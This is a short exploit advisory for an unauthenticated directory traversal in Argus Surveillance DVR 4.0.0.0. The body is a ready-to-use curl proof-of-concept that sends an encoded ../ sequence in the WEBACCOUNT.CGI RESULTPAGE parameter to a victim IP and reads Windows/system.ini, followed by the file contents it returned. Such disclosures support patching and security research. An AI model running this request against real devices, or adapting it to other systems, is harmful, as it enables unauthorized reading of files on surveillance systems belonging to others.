Argus Surveillance DVR 4.0.0.0 – Directory Traversal
# Exploit: Argus Surveillance DVR 4.0.0.0 - Directory Traversal # Author: John Page (aka hyp3rlinx) # Date: 2018-08-28 # Vendor: www.argussurveillance.com # Software Link: http://www.argussurveillance.com/download/DVR_stp.exe # CVE: N/A # Description: # Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal, # leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter. # PoC curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=" # Result: ; for 16-bit app support woafont=dosapp.fon EGA80WOA.FON=EGA80WOA.FON EGA40WOA.FON=EGA40WOA.FON CGA80WOA.FON=CGA80WOA.FON CGA40WOA.FON=CGA40WOA.FON wave=mmdrv.dll timer=timer.drv # https://vimeo.com/287115273 # Greetz: ***Greetz: indoushka | Eduardo | GGA*** |